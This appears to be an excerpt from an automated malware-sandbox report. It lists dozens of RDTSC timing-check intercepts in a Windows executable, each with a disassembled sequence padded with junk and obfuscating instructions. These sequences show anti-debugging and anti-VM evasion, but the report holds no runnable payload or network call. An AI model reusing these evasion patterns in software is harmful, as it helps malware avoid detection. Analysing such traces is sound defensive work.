Source: C:\Users\user\Desktop\niwvNnBk2p.exe	RDTSC instruction interceptor: First address: AE0F54 second address: AE0F5E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jbe 00007F5CACC3D916h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	RDTSC instruction interceptor: First address: AE0F5E second address: AE0F62 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	RDTSC instruction interceptor: First address: AE0F62 second address: AE0F75 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jne 00007F5CACC3D918h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	RDTSC instruction interceptor: First address: ADE197 second address: ADE1A1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	RDTSC instruction interceptor: First address: AE4276 second address: AE427B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	RDTSC instruction interceptor: First address: AE334D second address: AE33FF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5CACF3B8F5h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], eax 0x0000000c mov ebx, dword ptr [ebp+122D2817h] 0x00000012 push dword ptr fs:[00000000h] 0x00000019 jp 00007F5CACF3B8E6h 0x0000001f mov dword ptr fs:[00000000h], esp 0x00000026 push 00000000h 0x00000028 push ecx 0x00000029 call 00007F5CACF3B8E8h 0x0000002e pop ecx 0x0000002f mov dword ptr [esp+04h], ecx 0x00000033 add dword ptr [esp+04h], 0000001Ch 0x0000003b inc ecx 0x0000003c push ecx 0x0000003d ret 0x0000003e pop ecx 0x0000003f ret 0x00000040 sub edi, dword ptr [ebp+124546E7h] 0x00000046 mov edi, dword ptr [ebp+1244D377h] 0x0000004c mov eax, dword ptr [ebp+122D0A75h] 0x00000052 mov dword ptr [ebp+122D1BE1h], ebx 0x00000058 push FFFFFFFFh 0x0000005a push 00000000h 0x0000005c push ebp 0x0000005d call 00007F5CACF3B8E8h 0x00000062 pop ebp 0x00000063 mov dword ptr [esp+04h], ebp 0x00000067 add dword ptr [esp+04h], 00000018h 0x0000006f inc ebp 0x00000070 push ebp 0x00000071 ret 0x00000072 pop ebp 0x00000073 ret 0x00000074 jl 00007F5CACF3B8E6h 0x0000007a nop 0x0000007b push eax 0x0000007c push edx 0x0000007d jmp 00007F5CACF3B8F5h 0x00000082 rdtsc
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	RDTSC instruction interceptor: First address: AE55A3 second address: AE55B1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 popad 0x00000007 popad 0x00000008 push eax 0x00000009 push ebx 0x0000000a push eax 0x0000000b push edx 0x0000000c push edx 0x0000000d pop edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	RDTSC instruction interceptor: First address: AE63D2 second address: AE63ED instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F5CACF3B8F6h 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	RDTSC instruction interceptor: First address: AE33FF second address: AE3405 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	RDTSC instruction interceptor: First address: AE8377 second address: AE837B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	RDTSC instruction interceptor: First address: AE7431 second address: AE7437 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	RDTSC instruction interceptor: First address: AE63ED second address: AE63F3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	RDTSC instruction interceptor: First address: AE3405 second address: AE3409 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	RDTSC instruction interceptor: First address: AE7437 second address: AE745F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5CACF3B8F0h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F5CACF3B8EFh 0x00000013 rdtsc
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	RDTSC instruction interceptor: First address: AE63F3 second address: AE63F7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	RDTSC instruction interceptor: First address: AE9434 second address: AE9444 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F5CACF3B8ECh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	RDTSC instruction interceptor: First address: AE745F second address: AE7469 instructions: 0x00000000 rdtsc 0x00000002 jl 00007F5CACC3D916h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	RDTSC instruction interceptor: First address: AEB315 second address: AEB32A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5CACF3B8F1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	RDTSC instruction interceptor: First address: AEB32A second address: AEB342 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F5CACC3D924h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	RDTSC instruction interceptor: First address: AE962B second address: AE9631 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	RDTSC instruction interceptor: First address: AEA44A second address: AEA44F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	RDTSC instruction interceptor: First address: AEB342 second address: AEB3BC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5CACF3B8F5h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov dword ptr [esp], eax 0x0000000e push 00000000h 0x00000010 push edi 0x00000011 call 00007F5CACF3B8E8h 0x00000016 pop edi 0x00000017 mov dword ptr [esp+04h], edi 0x0000001b add dword ptr [esp+04h], 00000017h 0x00000023 inc edi 0x00000024 push edi 0x00000025 ret 0x00000026 pop edi 0x00000027 ret 0x00000028 push 00000000h 0x0000002a push 00000000h 0x0000002c push eax 0x0000002d call 00007F5CACF3B8E8h 0x00000032 pop eax 0x00000033 mov dword ptr [esp+04h], eax 0x00000037 add dword ptr [esp+04h], 0000001Dh 0x0000003f inc eax 0x00000040 push eax 0x00000041 ret 0x00000042 pop eax 0x00000043 ret 0x00000044 mov di, bx 0x00000047 push 00000000h 0x00000049 mov bl, ECh 0x0000004b push eax 0x0000004c push eax 0x0000004d push edx 0x0000004e push eax 0x0000004f push edx 0x00000050 jmp 00007F5CACF3B8EAh 0x00000055 rdtsc
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	RDTSC instruction interceptor: First address: AEA44F second address: AEA466 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 jc 00007F5CACC3D916h 0x00000009 pop ecx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f push edx 0x00000010 jp 00007F5CACC3D916h 0x00000016 pop edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	RDTSC instruction interceptor: First address: AEB3BC second address: AEB3C2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	RDTSC instruction interceptor: First address: AEB4FC second address: AEB502 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	RDTSC instruction interceptor: First address: AEB502 second address: AEB5A8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5CACF3B8F6h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c jmp 00007F5CACF3B8F0h 0x00000011 nop 0x00000012 push 00000000h 0x00000014 push esi 0x00000015 call 00007F5CACF3B8E8h 0x0000001a pop esi 0x0000001b mov dword ptr [esp+04h], esi 0x0000001f add dword ptr [esp+04h], 00000014h 0x00000027 inc esi 0x00000028 push esi 0x00000029 ret 0x0000002a pop esi 0x0000002b ret 0x0000002c mov ebx, dword ptr [ebp+1245E76Bh] 0x00000032 push dword ptr fs:[00000000h] 0x00000039 mov bl, EDh 0x0000003b mov dword ptr fs:[00000000h], esp 0x00000042 mov ebx, dword ptr [ebp+122D17EAh] 0x00000048 mov eax, dword ptr [ebp+122D0211h] 0x0000004e xor ebx, dword ptr [ebp+122D39EDh] 0x00000054 push FFFFFFFFh 0x00000056 push 00000000h 0x00000058 push edx 0x00000059 call 00007F5CACF3B8E8h 0x0000005e pop edx 0x0000005f mov dword ptr [esp+04h], edx 0x00000063 add dword ptr [esp+04h], 00000019h 0x0000006b inc edx 0x0000006c push edx 0x0000006d ret 0x0000006e pop edx 0x0000006f ret 0x00000070 or ebx, dword ptr [ebp+122D38A9h] 0x00000076 push eax 0x00000077 push eax 0x00000078 push edx 0x00000079 je 00007F5CACF3B8ECh 0x0000007f push eax 0x00000080 push edx 0x00000081 rdtsc
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	RDTSC instruction interceptor: First address: AEB5A8 second address: AEB5AC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	RDTSC instruction interceptor: First address: AED5A8 second address: AED5AE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	RDTSC instruction interceptor: First address: AED5AE second address: AED5B3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	RDTSC instruction interceptor: First address: AEF898 second address: AEF957 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007F5CACF3B8F1h 0x0000000a popad 0x0000000b push eax 0x0000000c je 00007F5CACF3B8F9h 0x00000012 pushad 0x00000013 pushad 0x00000014 popad 0x00000015 jmp 00007F5CACF3B8EFh 0x0000001a popad 0x0000001b nop 0x0000001c push 00000000h 0x0000001e push ebx 0x0000001f call 00007F5CACF3B8E8h 0x00000024 pop ebx 0x00000025 mov dword ptr [esp+04h], ebx 0x00000029 add dword ptr [esp+04h], 00000018h 0x00000031 inc ebx 0x00000032 push ebx 0x00000033 ret 0x00000034 pop ebx 0x00000035 ret 0x00000036 push 00000000h 0x00000038 push 00000000h 0x0000003a push ebp 0x0000003b call 00007F5CACF3B8E8h 0x00000040 pop ebp 0x00000041 mov dword ptr [esp+04h], ebp 0x00000045 add dword ptr [esp+04h], 0000001Ah 0x0000004d inc ebp 0x0000004e push ebp 0x0000004f ret 0x00000050 pop ebp 0x00000051 ret 0x00000052 ja 00007F5CACF3B8ECh 0x00000058 push 00000000h 0x0000005a jno 00007F5CACF3B8E9h 0x00000060 xchg eax, esi 0x00000061 pushad 0x00000062 jmp 00007F5CACF3B8F8h 0x00000067 push eax 0x00000068 push edx 0x00000069 jmp 00007F5CACF3B8F6h 0x0000006e rdtsc
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	RDTSC instruction interceptor: First address: AEF957 second address: AEF972 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5CACC3D91Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f jbe 00007F5CACC3D916h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	RDTSC instruction interceptor: First address: AEF972 second address: AEF98A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5CACF3B8F4h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	RDTSC instruction interceptor: First address: AEE779 second address: AEE77F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	RDTSC instruction interceptor: First address: AF4190 second address: AF4197 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	RDTSC instruction interceptor: First address: AF4197 second address: AF419D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	RDTSC instruction interceptor: First address: AF0BD5 second address: AF0BE2 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F5CACF3B8E6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	RDTSC instruction interceptor: First address: AF7F8C second address: AF7F9B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 jnp 00007F5CACC3D916h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	RDTSC instruction interceptor: First address: A9A6A0 second address: A9A6B6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F5CACF3B8EAh 0x00000009 jg 00007F5CACF3B8E6h 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	RDTSC instruction interceptor: First address: A9A6B6 second address: A9A6C8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 pushad 0x00000007 popad 0x00000008 pushad 0x00000009 popad 0x0000000a popad 0x0000000b pop esi 0x0000000c push esi 0x0000000d pushad 0x0000000e pushad 0x0000000f popad 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	RDTSC instruction interceptor: First address: AFBEDD second address: AFBEE1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	RDTSC instruction interceptor: First address: AFBEE1 second address: AFBEEB instructions: 0x00000000 rdtsc 0x00000002 jg 00007F5CACC3D916h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	RDTSC instruction interceptor: First address: AFBEEB second address: AFBEF1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	RDTSC instruction interceptor: First address: AFBEF1 second address: AFBEF7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	RDTSC instruction interceptor: First address: AFBEF7 second address: AFBF01 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push esi 0x00000009 pop esi 0x0000000a rdtsc
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	RDTSC instruction interceptor: First address: AFFBF1 second address: AFFBF5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	RDTSC instruction interceptor: First address: AFFCFB second address: AFFD2A instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 jnc 00007F5CACF3B8E6h 0x00000009 pop esi 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov eax, dword ptr [eax] 0x0000000e push ebx 0x0000000f pushad 0x00000010 jo 00007F5CACF3B8E6h 0x00000016 jmp 00007F5CACF3B8EAh 0x0000001b popad 0x0000001c pop ebx 0x0000001d mov dword ptr [esp+04h], eax 0x00000021 push ebx 0x00000022 push eax 0x00000023 push edx 0x00000024 jp 00007F5CACF3B8E6h 0x0000002a rdtsc
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	RDTSC instruction interceptor: First address: B0107D second address: B01081 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	RDTSC instruction interceptor: First address: B01081 second address: B010B4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jns 00007F5CACF3B8EEh 0x0000000e jmp 00007F5CACF3B8F7h 0x00000013 popad 0x00000014 push eax 0x00000015 push edx 0x00000016 pushad 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	RDTSC instruction interceptor: First address: B010B4 second address: B010BA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	RDTSC instruction interceptor: First address: B010BA second address: B010C0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	RDTSC instruction interceptor: First address: B010C0 second address: B010C7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	RDTSC instruction interceptor: First address: B010C7 second address: B010E9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5CACF3B8F8h 0x00000007 jc 00007F5CACF3B8EEh 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	RDTSC instruction interceptor: First address: B07E87 second address: B07EA7 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 jne 00007F5CACC3D916h 0x00000009 pop edi 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e je 00007F5CACC3D91Ch 0x00000014 jbe 00007F5CACC3D916h 0x0000001a push eax 0x0000001b push edx 0x0000001c pushad 0x0000001d popad 0x0000001e push eax 0x0000001f push edx 0x00000020 rdtsc
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	RDTSC instruction interceptor: First address: B07EA7 second address: B07EAB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	RDTSC instruction interceptor: First address: B07EAB second address: B07EB5 instructions: 0x00000000 rdtsc 0x00000002 je 00007F5CACC3D916h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	RDTSC instruction interceptor: First address: A8EA52 second address: A8EA56 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	RDTSC instruction interceptor: First address: A8EA56 second address: A8EA5D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	RDTSC instruction interceptor: First address: B06CE4 second address: B06CE8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	RDTSC instruction interceptor: First address: B077D9 second address: B077F2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push ebx 0x00000007 pop ebx 0x00000008 jmp 00007F5CACC3D91Eh 0x0000000d push esi 0x0000000e pop esi 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	RDTSC instruction interceptor: First address: B07BBD second address: B07BC1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	RDTSC instruction interceptor: First address: B07BC1 second address: B07BD9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jl 00007F5CACC3D922h 0x0000000c je 00007F5CACC3D916h 0x00000012 ja 00007F5CACC3D916h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	RDTSC instruction interceptor: First address: B07BD9 second address: B07BF9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5CACF3B8F4h 0x00000007 push eax 0x00000008 push edx 0x00000009 push ecx 0x0000000a pop ecx 0x0000000b jng 00007F5CACF3B8E6h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	RDTSC instruction interceptor: First address: B0EC75 second address: B0EC79 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	RDTSC instruction interceptor: First address: B0EC79 second address: B0EC83 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	RDTSC instruction interceptor: First address: B0EC83 second address: B0EC87 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	RDTSC instruction interceptor: First address: B0EC87 second address: B0EC8B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	RDTSC instruction interceptor: First address: B132C0 second address: B132C4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	RDTSC instruction interceptor: First address: B132C4 second address: B132CE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnp 00007F5CACF3B8E6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	RDTSC instruction interceptor: First address: B13439 second address: B13444 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	RDTSC instruction interceptor: First address: B13444 second address: B13448 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	RDTSC instruction interceptor: First address: B1356F second address: B13584 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5CACC3D91Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	RDTSC instruction interceptor: First address: B13584 second address: B13591 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jbe 00007F5CACF3B8E6h 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	RDTSC instruction interceptor: First address: B13591 second address: B13596 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	RDTSC instruction interceptor: First address: B13858 second address: B13868 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push esi 0x00000007 push ecx 0x00000008 pop ecx 0x00000009 pop esi 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	RDTSC instruction interceptor: First address: B13868 second address: B13885 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F5CACC3D929h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	RDTSC instruction interceptor: First address: B13885 second address: B1388B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	RDTSC instruction interceptor: First address: B13A27 second address: B13A2D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	RDTSC instruction interceptor: First address: B13A2D second address: B13A33 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	RDTSC instruction interceptor: First address: B13EC5 second address: B13ECF instructions: 0x00000000 rdtsc 0x00000002 js 00007F5CACC3D916h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	RDTSC instruction interceptor: First address: B14001 second address: B14005 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	RDTSC instruction interceptor: First address: B14005 second address: B1401D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5CACC3D91Eh 0x00000007 push ebx 0x00000008 pop ebx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push ebx 0x0000000e pop ebx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	RDTSC instruction interceptor: First address: B1401D second address: B14027 instructions: 0x00000000 rdtsc 0x00000002 jne 00007F5CACF3B8E6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	RDTSC instruction interceptor: First address: B142CD second address: B142E6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F5CACC3D91Dh 0x00000009 push eax 0x0000000a pop eax 0x0000000b popad 0x0000000c pushad 0x0000000d push edx 0x0000000e pop edx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	RDTSC instruction interceptor: First address: B142E6 second address: B142EB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	RDTSC instruction interceptor: First address: B12F8D second address: B12F96 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
